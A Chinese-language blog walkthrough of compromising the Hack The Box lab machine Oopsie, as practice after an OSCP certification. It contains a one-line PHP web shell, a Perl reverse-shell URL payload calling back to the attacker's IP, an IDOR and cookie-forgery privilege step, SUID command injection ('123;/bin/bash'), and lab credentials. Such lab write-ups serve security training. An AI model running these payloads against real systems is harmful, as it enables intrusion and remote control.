渗透笔记之Oopsie

背景

Oopsie 是 Hack The Box 的一台非常简单的入门级靶机。IP 地址是 10.10.10.28,使用 OpenVPƝ 连接靶场网络后便可访问。本文较为完整地记录了对其进行渗透的全过程。

信息收集

端口扫描

使用 Nmap 对靶机进行 TCP 端口扫描:

nmap -sV 10.10.10.28

扫描结果如下图所示,看到靶机开放了 22 和 80 端口。一般来说 22 端口的 OpenSSH 很少会有问题,80 端口的 Web 服务很值得仔细查看。

nmap扫描结果

Web 探测

在浏览器中访问 http://10.10.10.28,看到如下图所示的网页。

网站首页

在网页下方看到联系信息和公司名 MegaCorp,如下图所示。

网页中的联系方式

Hack The Box 的第一台靶机 Archetype 的管理员密码是 MEGACORP_4dm1n!!,看上去像是 MegaCorp admin 的变形,说不定有联系。

再没有发现其他可疑信息。按惯例查看网页源码,看到 <script src="/cdn-cgi/login/script.js"></script>,如下图所示。

网站源码泄露后台地址

看上去 /cdn-cgi/login/ 像是一个登录页面,在浏览器中访问看到如下图所示的网页。

登录页面

尝试用 adminMEGACORP_4dm1n!! 登录,居然就成功了。登录后看到有一个页面显示了当前登录的用户,如下图所示。

登录后的页面

还有一个 Uploads 页面,但点击发现需要 super admin 权限,如下图所示。

上传需要更高的权限

按惯例使用 gobuster 对 Web 路径进行扫描:

gobuster dir --url http://10.10.10.28/ --wordlist /usr/share/wordlist/dirb/big.txt

扫描结果如下图所示。

Web路径扫描结果

看到扫出了 uploads 目录,但访问发现返回了 Forbidden,如下图所示。

uploads页面返回Forbidden

漏洞利用

越权

出于习惯查看 Cookie,看到的 Cookie 如下图所示。

Cookie

看到有一个键为 role 的 Cookie,值是 admin,有一个键为 user 的 Cookie,值是 34322,再没有其他 Cookie,这意味着只要知道其他用户的 roleuser,便可以以其他用户的身份登录。而 34322 这个数字曾出现在显示当前登录用户的页面中,是 Access ID。回到这个页面,观察到它的 URL:

http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1

其中有很可疑的参数 id=1,试着把 id 改为 2,发现没有报错,但也没有显示任何用户,如下图所示。

用户id为2时的显示

不要轻易放弃,继续尝试,把 id 改为 3,结果和上图一样。把 id 改为 4,出现了一个新的用户,如下图所示。

用户id为4时的显示

但这不是我们想要的 super admin,继续修改 id,依次尝试5、6、7、…….,直到把 id 改为 30,终于看到了 super admin,如下图所示。

用户id为30时的显示

现在我们知道了 super adminAccess ID86575 了 。修改 Cookie,把 role 改成 super admin,把 user 改成 86575,并刷新页面,现在可以打开 Uploads 页面了,如下图所示。

上传页面

上传

准备文件 shell.php,内容为:

<?php echo shell_exec($_GET['shell']);?>

然后上传,居然就成功了,都没有对 php 文件的过滤。但上传到哪里去了呢?结合 Web 路径扫描结果,猜测上传到了 /uploads/shell.php,尝试访问 http://10.10.10.28/uploads/shell.php?shell=id,看到 id 命令被成功执行,如下图所示,说明这个猜测是正确的。

上传页面

然后用 nc -nvlp 4444 监听 4444 端口,并在浏览器中访问:

http://10.10.10.28/uploads/shell.php?shell=perl%20-MIO%20-e%20%27$p=fork;exit,if($p);$c=new%20IO::Socket::INET(PeerAddr,%2210.10.14.33:4444%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27

成功建立了反弹 shell,如下图所示。

成功建立反弹shell

但权限很低,是 www-data ,需要提权。

提权

提升 Shell

拿到的反弹 Shell 是非交互式的,为便于操作,下载 socat,并使用 socat 发起新的反弹 Shell 到 3333 端口,操作如下图所示。

提升Shell

使用 nc 监听 3333 端口,成功获得交互式 Shell,如下图所示。

获得交互式Shell

提权到普通用户

在上面的步骤中,我们修改 id 为不同的值获得了不同的返回结果,很明显网站是连接了数据库的。在 /var/www/html/cdn-cgi/login 下看到有文件 db.php,查看其内容意外地收获了一对用户名和密码 :robert: M3g4C0rpUs3r!,如下图所示。

数据库密码

用户名是 robert,不是常见的 root,值得注意。用 ls /home 查看系统用户发现恰好有一个名为 robert 的 Linux 用户。用 su 命令并输入密码便可以切换为 robert 用户,如下图所示。

成功提权到普通用户

提权到 root

ls -lh $(find / -perm -u=s -type f 2>/dev/null) 查看具有 SUID 的可执行文件,看到了一个奇怪的程序:

-rwsr-xr-- 1 root   bugtracker      8.6K Jan 25 10:14 /usr/bin/bugtracker

如下图所示。

bugtracker

这个程序得是 root 或是 bugtracker 组的用户才能执行。用 cat /etc/group | grep bugtracker 查看 bugtracker 组的用户,看到 robert 恰好在其中,如下图所示。

bugtracker组成员

执行 bugtracker,提示用户输入 Provide Bug ID,我们随便输入 123 试试,根据错误信息可以判断出这个程序内部调用了 cat,如下图所示。

bugtracker执行结果

再次执行 bugtracker,输入 123;/bin/bash 做为 Provide Bug ID,成功获得了具有 root 权限的 Shell,如下图所示。

获得root权限

信息收集

看看 root 用户都有些啥。执行命令:

ls -lRa /root

发现了一个挺有意思的文件,是 /root/.config/filezilla/filezilla.xml。如下图所示。

挺有意思的文件

内容是:

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<FileZilla3>
    <RecentServers>
        <Server>
            <Host>10.10.10.44</Host>
            <Port>21</Port>
            <Protocol>0</Protocol>
            <Type>0</Type>
            <User>ftpuser</User>
            <Pass>mc@F1l3ZilL4</Pass>
            <Logontype>1</Logontype>
            <TimezoneOffset>0</TimezoneOffset>
            <PasvMode>MODE_DEFAULT</PasvMode>
            <MaximumMultipleConnections>0</MaximumMultipleConnections>
            <EncodingType>Auto</EncodingType>
            <BypassProxy>0</BypassProxy>
        </Server>
    </RecentServers>
</FileZilla3>

从中可以看到一个 FTP 账号:ftpuser: mc@F1l3ZilL4。以后也许用得着。

总结

这台靶机真的非常简单,渗透所用时间和写这篇文章差不多。

拿到 OSCP 认证后我便疏于练习,一转眼半年多过去了,不禁又要感慨逝者如斯夫不舍昼夜。为防止技艺生疏,我决定在业余时间继续渗透靶机。这也是我的娱乐方式之一。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

9 − 1 =